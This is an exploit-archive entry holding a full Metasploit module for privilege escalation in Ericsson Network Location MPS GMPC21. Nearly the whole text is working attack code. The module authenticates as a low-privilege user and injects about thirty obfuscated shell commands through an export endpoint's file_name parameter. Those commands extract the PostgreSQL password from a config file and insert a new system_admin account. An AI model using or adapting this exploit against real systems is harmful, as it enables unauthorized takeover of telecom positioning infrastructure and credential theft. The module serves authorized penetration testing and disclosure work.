Ericsson Network Location MPS GMPC21 Privilege Escalation

2021.11.02
Credit: AkkuS
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)', 'Description' => %q( This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems. It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole. Therefore low authority user can gain the authority of "admin" on the application. You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability. "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21" /////// This 0day has been published at DEFCON29-PHV Village. /////// ), 'References' => [ [ 'CVE', '2021-' ], [ 'URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html' ], [ 'URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'], [ 'URL', 'https://www.wallofsheep.com/pages/dc29#akkus'] ], 'Author' => [ 'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus ], 'License' => MSF_LICENSE, 'DisclosureDate' => "Apr 21 2021", 'DefaultOptions' => { 'RPORT' => 10083, 'SSL' => true } )) register_options([ OptString.new('USERNAME', [true, 'NLG Username']), OptString.new('PASSWORD', [true, 'NLG Password']), OptString.new('TARGETURI', [true, 'Base path for NLG application', '/']) ]) end # for Origin and Referer headers def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end # split strings to salt def split(data, string_to_split) word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/) string = word.split('"]').join('').split('["').join('') return string end def cluster res = send_request_cgi({ # clusters information to API directories 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'), 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /version/ cls_version = split(res.body, "version") cls_node_type = split(res.body, "node_type") cls_name = split(res.body, "cluster_name") cls_id = cls_version + "-" + cls_node_type + "-" + cls_name return cls_version, cls_node_type, cls_name, cls_id else fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!') end end def permission_check(token) # By giving numbers to the vulnerable areas, we can easily use them in JSON format. json_urls = '{"1":"/cells/gsm/cgi_cells/","2":"/smpp/", "3":"/positioning_controls/gsm/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}' parse = JSON.parse(json_urls) cls_id = cluster[3] cls_node_type = cluster[1] i = 1 while i <= 6 do link = parse["#{i}"] i +=1 # The cells export operation returns 409 response when frequent requests are made. # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. if link == "/cells/gsm/cgi_cells/" sleep(7) end filename = Rex::Text.rand_text_alpha_lower(6) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename), 'method' => 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) if res && res.code == 403 then # !200 next elsif res && res.code == 200 return link, true elsif res && res.code == 400 return link, true elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404. return "no link", false end end end def check # check connection and login token = login(datastore['USERNAME'], datastore['PASSWORD']) res = send_request_cgi({ # product information check 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'), 'method' => 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) if res && res.code == 200 && res.body =~ /version/ version = split(res.body, "version") pnumber = split(res.body, "product_number") print_status("Product Number:#{pnumber} - Version:#{version}") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def login(user, pass) json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}' res = send_request_cgi( { 'method' => 'POST', 'ctype' => 'application/json', 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), 'headers' => { 'Origin' => "#{peer}" }, 'data' => json_login }) if res && res.code == 200 && res.body =~ /true/ auth_token = split(res.body, "authToken") return auth_token else fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!') end end def prep_payloads(token, link) configname = Rex::Text.rand_text_alpha_lower(12) newuser = Rex::Text.rand_text_alpha_lower(8) newpass = "PrivEsc0day!" #/ = 2F - y #; = 3B - z #| = 7C - p #>& = 3E26 - v #>/ = 3E2F - g #> = 3E - k #< = 3C - c #' = 27 - t #$ = 24 - d #\ = 5C - b #! = 21 - u #" = 22 - x #( = 28 - m #) = 29 - i #, = 2C - o #_ = 5F - a # echo `xxd -r -p <<< 2F`>y payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", ' # echo `xxd -r -p <<< 3B`>z payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", ' #echo `xxd -r -p <<< 7C`>p payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", ' #echo `xxd -r -p <<< 3E26`>v payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", ' #echo `xxd -r -p <<< 3E`>k payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", ' #echo `xxd -r -p <<< 27`>t payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", ' #echo `xxd -r -p <<< 24`>d payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", ' #echo `xxd -r -p <<< 5C`>b payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", ' #echo `xxd -r -p <<< 21`>u payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", ' #echo `xxd -r -p <<< 22`>x payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", ' #echo `xxd -r -p <<< 28`>x payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", ' #echo `xxd -r -p <<< 29`>x payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", ' #echo `xxd -r -p <<< 2C`>x payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", ' #echo `xxd -r -p <<< 5F`>x payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", ' #cp /opt/consul/setting/factory/GMPC/parameter/gmpc_schema.json [random-file-name].json payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';cp${IFS}`cat${IFS}y`opt`cat${IFS}y`consul`cat${IFS}y`setting`cat${IFS}y`factory`cat${IFS}y`GMPC`cat${IFS}y`parameter`cat${IFS}y`gmpc_schema.json${IFS}#{configname}.json&&pwd>fl") +'", ' #echo sed '31843!d' [random-file-name].json > pass1.sh payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}sed${IFS}`cat${IFS}t`31843`cat${IFS}u`d`cat${IFS}t`${IFS}#{configname}.json${IFS}>pass1.sh&&pwd>fl") +'", ' #chmod +x pass1.sh payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass1.sh&&pwd>fl") +'", ' #sh pass1.sh > pass2 payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass1.sh>pass2&&pwd>fl") +'", ' #cat pass2 | awk -F[:,\"] '{print $5}' > pass3.sh payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}cat${IFS}pass2${IFS}`cat${IFS}p`${IFS}awk${IFS}-F[:,`cat${IFS}b``cat${IFS}x`]${IFS}`cat${IFS}t`{print${IFS}`cat${IFS}d`5}`cat${IFS}t`>pass3.sh&&pwd>fl") +'", ' #chmod +x pass3.sh payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass3.sh&&pwd>fl") +'", ' #sh pass3.sh > passlast #passlast will be pgsql password... payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass3.sh>passlast&&pwd>fl") +'", ' #echo PGPASSWORD='`cat passlast`' > sqlq1 payloads << '"22":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}PGPASSWORD=`cat${IFS}t``cat${IFS}passlast``cat${IFS}t`>sqlq1&&pwd>fl") +'", ' #echo '/opt/pgsql/bin/psql -U mps -d mpsdb -c "INSERT INTO ' > sqlq2 payloads << '"23":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`opt`cat${IFS}y`pgsql`cat${IFS}y`bin`cat${IFS}y`psql${IFS}-U${IFS}mps${IFS}-d${IFS}mpsdb${IFS}-c${IFS}`cat${IFS}x`INSERT${IFS}INTO>sqlq2&&pwd>fl") +'", ' #echo 'omuser(id,enabled,fail_times,latest_fail_at,name' > sqlq3 payloads << '"24":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}omuser`cat${IFS}m`id`cat${IFS}o`enabled`cat${IFS}o`fail`cat${IFS}a`times`cat${IFS}o`latest`cat${IFS}a`fail`cat${IFS}a`at`cat${IFS}o`name>sqlq3&&pwd>fl") +'", ' #echo ',password,password_expires_at,role)' > sqlq4 payloads << '"25":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}o`password`cat${IFS}o`password`cat${IFS}a`expires`cat${IFS}a`at`cat${IFS}o`role`cat${IFS}i`>sqlq4&&pwd>fl") +'", ' #echo "VALUES ('privesc155',0,0,0,'test8day','" > sqlq5 payloads << '"26":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}VALUES${IFS}`cat${IFS}m``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o``cat${IFS}t`>sqlq5&&pwd>fl") +'", ' # echo ada628c3ae88b9cf90e61d26d2d852c161e30de9',0,'system_admin');" > sqlq6 payloads << '"27":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}ada628c3ae88b9cf90e61d26d2d852c161e30de9`cat${IFS}t``cat${IFS}o`0`cat${IFS}o``cat${IFS}t`system`cat${IFS}a`admin`cat${IFS}t``cat${IFS}i``cat${IFS}z``cat${IFS}x`>sqlq6&&pwd>fl") +'", ' #echo `cat sqlq1` `cat sqlq2``cat sqlq3``cat sqlq4` `cat sqlq5``cat sqlq6` > sqlq7.sh payloads << '"28":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}sqlq1`${IFS}`cat${IFS}sqlq2`${IFS}`cat${IFS}sqlq3``cat${IFS}sqlq4`${IFS}`cat${IFS}sqlq5``cat${IFS}sqlq6`>sqlq7.sh&&pwd>fl") +'", ' #chmod +x sqlq7.sh payloads << '"29":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}sqlq7.sh&&pwd>fl") +'", ' #sh sqlq7.sh payloads << '"30":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}sqlq7.sh&&pwd>fl") +'"}' if link == "/cells/gsm/cgi_cells/" print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!") end parse = JSON.parse(payloads) cls_id = cluster[3] cls_node_type = cluster[1] i = 1 while i <= 31 do pay = parse["#{i}"] i +=1 if link == "/cells/gsm/cgi_cells/" sleep(15) end send_payloads(cls_id, cls_node_type, token, link, pay) if i == 31 check_user(newuser, newpass, link) end end end def check_user(user, pass, link) json_login = '{"auth": {"method": "password","password": {"user_id": "' + user + '","password": "' + pass + '"}}}' if link == "/cells/gsm/cgi_cells/" print_good("Privilege escalation successful!") print_good("The new system admin user has been created successfully.") print_status("New User : #{user}") print_status("New Pass : #{pass}") else res = send_request_cgi( { 'method' => 'POST', 'ctype' => 'application/json', 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), 'headers' => { 'Origin' => "#{peer}" }, 'data' => json_login }) if res && res.code == 200 && res.body =~ /true/ print_good("Privilege escalation successful!") print_good("The new system admin user has been created successfully.") print_status("New User : #{user}") print_status("New Pass : #{pass}") else fail_with(Failure::NotVulnerable, 'Something went wrong. New user could not be created.') end end end def get_pgsql_pass(config_name) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, config_name), 'method' => 'GET', 'headers' => { 'Origin' => "#{peer}" } }) parse = JSON.parse(res.body) pass = parse['AML'] puts pass end def send_payloads(id, type, token, link, pay) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, "export?file_name=/export/home/mpcadmin/%7C#{pay}"), 'method' => 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) end ## # Exploiting phase ## def run auth_token = login(datastore['USERNAME'], datastore['PASSWORD']) unless permission_check(auth_token)[1] == true fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!') else perm_link = permission_check(auth_token)[0] print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}") end prep_payloads(auth_token, perm_link) end end


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